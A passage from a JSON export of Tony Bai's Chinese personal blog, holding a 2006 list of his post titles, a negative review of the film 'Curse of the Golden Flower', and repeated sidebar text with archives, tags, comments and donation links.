(13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2007/01/14/shenyang-taste-spring-festival/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"SHENYANG·感受年味"},{"content":"记得Redwood_soso说过我的Blog很高产，中午的时候粗略统计了一下(数据源自逐一数Blogbus管理中心的blog列表^_^)：整个2006年我一共写了218篇文章，平均没1.67天就写一篇，自己都不得不佩服自己很能写了:)。我也写了近2年半博客了，最大的感觉就是\u0026rsquo;上瘾\u0026rsquo;^_^，就是想写。相信很多博友也和我有一样的感觉。今天从头到尾回顾了一下2006年写的文章，挑出一些自己觉得写的还不错的，这里再\u0026rsquo;贴出来\u0026rsquo;(文章太多，链接不一一添加了，请根据名字在站内搜索，或Google一下)。\n一.技术类\n=======\u0026gt;\n编译Ethereal On Windows\n三谈内存对齐－背后的故事\n挖掘一下C语言中的多维数组\n\u0026lsquo;此起彼伏\u0026rsquo;的复杂性\n不完备库接口带来的隐患\nP.J.Plauger版本C标准库实现分析之\u0026rsquo;ctype.h\u0026rsquo;\nP.J.Plauger版本C标准库实现分析之\u0026rsquo;assert.h\u0026rsquo;\n\u0026lsquo;寓教于乐\u0026rsquo;学Ruby\n解决算法分析中递归问题的方法\n理解\u0026rsquo;位域\u0026rsquo;\n也谈内存对齐(续)\n美妙的文件描述符传递\n算法时间复杂性之渐近法分析基础\n单元测试进行曲\n遇到系统的高可用性问题\n恼人的\u0026rsquo;素数回文\u0026rsquo;\n我来\u0026rsquo;Mixing Milk\u0026rsquo;\n第一道ACM练习题\n追求\u0026rsquo;lint-clean\u0026rsquo;\nC语言也重构\n如果让我面试C程序员，我会问\n理解C复杂声明之\u0026rsquo;优先级规则\u0026rsquo;\nGCC警告选项例解\nRetired \u0026lsquo;bootsect.S\u0026rsquo;\nInside the \u0026lsquo;i386\u0026rsquo;\nGoto \u0026lsquo;Bootstrap\u0026rsquo;\nBegin \u0026lsquo;setup.S\u0026rsquo;\nOutline \u0026lsquo;memory layout\u0026rsquo;\nTransfer to \u0026lsquo;32-bit\u0026rsquo;\nCompressed \u0026lsquo;head.S\u0026rsquo;\nKernel \u0026lsquo;head.S\u0026rsquo;\n二.生活/感悟类\n=======\u0026gt;\n露一手-\u0026lsquo;孜然羊肉\u0026rsquo;\n姥爷走了\n我的姥爷\n我未来的\u0026rsquo;窝\u0026rsquo;\n大学毕业两年了\n三.旅游/图片类\n=======\u0026gt;\n2006·圣诞印象\n亲历马王堆出土文物展\n逛逛岳麓山\n吃在湘地-腊肉篇\n吃在湘地-面食篇\n吃在湘地-煲仔篇\n湘地光影\n大连生活记-老虎滩乐园篇\n大连生活记-生活环境篇\n世界园艺博览会游记\n四.读书/音乐/电影类\n=======\u0026gt;\n从本源看世界-读\u0026rsquo;Write Great Code\u0026rsquo;\n令人昏昏欲睡的\u0026rsquo;夜宴\u0026rsquo;\n又一部国产好剧-疯狂的石头\nSuperman Returns\n灾难巨制\u0026rsquo;海神号\u0026rsquo;\n2006荷月靓乐\n2006榴月靓乐\n2006梅月靓乐\n2006桃月靓乐\n2006杏月靓乐\n2006正月靓乐\n推荐看看\u0026rsquo;核震过后\u0026rsquo;\n暖春-一次心灵的净化\n品味\u0026rsquo;勇敢的游戏2\u0026rsquo;\n小议\u0026rsquo;霍元甲\u0026rsquo;\n将无哩头进行到底\n给“沙场点兵”一些掌声\n五.体育类\n=======\u0026gt;\n告别阿根廷，告别世界杯\n鼓掌告别加纳，斗牛士折戟沉沙\n澳大利亚含冤出局，史上最差点球队诞生\n世界杯拒绝\u0026rsquo;老二\u0026rsquo;\nTony说世界杯之八强预测篇\n从\u0026rsquo;地狱\u0026rsquo;升入\u0026rsquo;天堂\u0026rsquo;\n今晨\u0026rsquo;死亡之组\u0026rsquo;复活!\n第一支出局的亚洲球队诞生了！\n\u0026lsquo;死亡之组\u0026rsquo;结束\u0026rsquo;死亡之旅\u0026rsquo;\n梅西-潘帕斯高原的\u0026rsquo;精灵\u0026rsquo;\nTony说世界杯之小组赛预测篇\n我与世界杯-写在世界杯开幕前\n国奥改历史，巴萨夺欧冠\n\u0026lsquo;阳光\u0026rsquo;小罗\n六.评论类\n=======\u0026gt;\n我也支持打开秦始皇陵\n中国电影100年了\n2007我将继续发扬\u0026rsquo;优点\u0026rsquo;，坚定的走博客这条路，学习老虎庙\u0026rsquo;码字码到死\u0026rsquo;的劲头儿。^_^\n","permalink":"https://tonybai.com/2007/01/10/i-am-writing-blog-all-the-time-on-2006/","summary":"\u003cp\u003e记得\u003ca href=\"http://id-41003.blogbus.com/index.html\"\u003eRedwood_soso\u003c/a\u003e说过我的Blog很高产，中午的时候粗略统计了一下(数据源自逐一数Blogbus管理中心的blog列表^_^)：整个2006年我一共写了218篇文章，平均没1.67天就写一篇，自己都不得不佩服自己很能写了:)。我也写了近2年半博客了，最大的感觉就是\u0026rsquo;上瘾\u0026rsquo;^_^，就是想写。相信很多博友也和我有一样的感觉。今天从头到尾回顾了一下2006年写的文章，挑出一些自己觉得写的还不错的，这里再\u0026rsquo;贴出来\u0026rsquo;(文章太多，链接不一一添加了，请根据名字在站内搜索，或Google一下)。\u003c/p\u003e\n\u003cp\u003e一.技术类\u003cbr\u003e\n=======\u0026gt;\u003cbr\u003e\n编译Ethereal On Windows\u003cbr\u003e\n三谈内存对齐－背后的故事\u003cbr\u003e\n挖掘一下C语言中的多维数组\u003cbr\u003e\n\u0026lsquo;此起彼伏\u0026rsquo;的复杂性\u003cbr\u003e\n不完备库接口带来的隐患\u003cbr\u003e\nP.J.Plauger版本C标准库实现分析之\u0026rsquo;ctype.h\u0026rsquo;\u003cbr\u003e\nP.J.Plauger版本C标准库实现分析之\u0026rsquo;assert.h\u0026rsquo;\u003cbr\u003e\n\u0026lsquo;寓教于乐\u0026rsquo;学Ruby\u003cbr\u003e\n解决算法分析中递归问题的方法\u003cbr\u003e\n理解\u0026rsquo;位域\u0026rsquo;\u003cbr\u003e\n也谈内存对齐(续)\u003cbr\u003e\n美妙的文件描述符传递\u003cbr\u003e\n算法时间复杂性之渐近法分析基础\u003cbr\u003e\n单元测试进行曲\u003cbr\u003e\n遇到系统的高可用性问题\u003cbr\u003e\n恼人的\u0026rsquo;素数回文\u0026rsquo;\u003cbr\u003e\n我来\u0026rsquo;Mixing Milk\u0026rsquo;\u003cbr\u003e\n第一道ACM练习题\u003cbr\u003e\n追求\u0026rsquo;lint-clean\u0026rsquo;\u003cbr\u003e\nC语言也重构\u003cbr\u003e\n如果让我面试C程序员，我会问\u003cbr\u003e\n理解C复杂声明之\u0026rsquo;优先级规则\u0026rsquo;\u003cbr\u003e\nGCC警告选项例解\u003cbr\u003e\nRetired \u0026lsquo;bootsect.S\u0026rsquo;\u003cbr\u003e\nInside the \u0026lsquo;i386\u0026rsquo;\u003cbr\u003e\nGoto \u0026lsquo;Bootstrap\u0026rsquo;\u003cbr\u003e\nBegin \u0026lsquo;setup.S\u0026rsquo;\u003cbr\u003e\nOutline \u0026lsquo;memory layout\u0026rsquo;\u003cbr\u003e\nTransfer to \u0026lsquo;32-bit\u0026rsquo;\u003cbr\u003e\nCompressed \u0026lsquo;head.S\u0026rsquo;\u003cbr\u003e\nKernel \u0026lsquo;head.S\u0026rsquo;\u003c/p\u003e","title":"2006·我一直在写Blog"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2007/01/10/move-to-new-office/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"搬到新工作区了"},{"content":"06年岁尾上映的张艺谋大作’满城尽带黄金甲’今天终于有幸一观，这也是2007年我在电影院看的第一部电影，满心期待这部片子能给带来些新意，可结果却事与愿违，用标题的一句话总结就是’这又是一部唯美的后宫乱伦演绎的闹剧’。\n为什么说’又是’呢，因为去年冯小刚导了一部同类型的作品叫’夜宴’，多亏那部电影没有在电影院看，否则就浪费了一张电影票，我不知道别人什么感觉，反正我是昏昏欲睡。’夜宴’刚散没多久，’黄金甲’就拍马赶到，还别说，其票房倒是让投资方甚是满意。’黄金甲’阵容不可未不强大，发哥+巩姐的搭档就能吸引不少人的眼球。我觉得除了这点，其实很多人到电影院还有一个很深层次的想法，那就是中国导演界一哥张艺谋还能给我们带来点什么新玩意儿？遗憾的是张还是一如既往的祭出他的’唯美’牌和’炒作’牌。自从’英雄’开始，凡大陆武侠动作巨制均打起了’唯美’牌，大场景大音效的的确确让不在少数的观众为之倾倒，但是缺少思想，缺少情节，人物呆板化的问题日益严重，出现’场内震撼，场外遗憾’的感觉也就不难解释了。\n同时看过’夜宴’和’黄金甲’的人肯定会有影片内容’雷同’的感觉，都是讲’乱伦’带来的恩恩怨怨，不同的是故事发生的时代，服装，动作设计，场面等。越来越觉得张艺谋是排’团体操’的好手了，好像2008年奥运会的开幕式就是他导吧，顿悟呀，难不成张拍摄这些片子都是为2008奥运会’练兵’呀。’黄金甲’从侍女穿衣服到给皇后熬药到摆花到军队攻守都是清一色’团体操’式的表演，而且表演带口号，什么’攻’，’挺’，’进’等等真是笑死人，张在抄袭自己’英雄’里的拿手好戏，不过张在这方面做的的确如火纯清，就我观察国内尚未有出其右者。\n‘黄金甲’还是有特色的，其中一个就是影片还挺尊重历史的，表现在女性角色都束胸，故事发生在唐朝末期，五代十国，那时的确女性以丰腴为美，皇宫里这样做也就无可厚非了，同时也的确展现出古代东方女人的美；另一个影片的特色就是服装了，本片中的服装设计是我较喜欢的，喜欢那套黄金甲，喜换杰王子带领的’黄金军’，那真叫一个漂亮！\n看完片子感觉周杰伦在片子中发挥的还是不错的，也许是那个人物挺符合他的；刘烨最近几部戏中饰演的角色我都不喜欢，相信看过’那山那人那狗’的人都会和我有一样的感觉，感觉刘烨不太适合演这种商业气息十足的片子。至于发哥和巩姐不予评价。\n决定以后再有张艺谋指导的类似的古装动作片一律不去电影院看，不看也知道，就那么点破事。^_^\n","permalink":"https://tonybai.com/2007/01/06/bad-film-the-banquet/","summary":"\u003cp\u003e06年岁尾上映的张艺谋大作’满城尽带黄金甲’今天终于有幸一观，这也是2007年我在电影院看的第一部电影，满心期待这部片子能给带来些新意，可结果却事与愿违，用标题的一句话总结就是’这又是一部唯美的后宫乱伦演绎的闹剧’。\u003c/p\u003e","title":"又是一部唯美的后宫'乱伦'演绎的闹剧"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 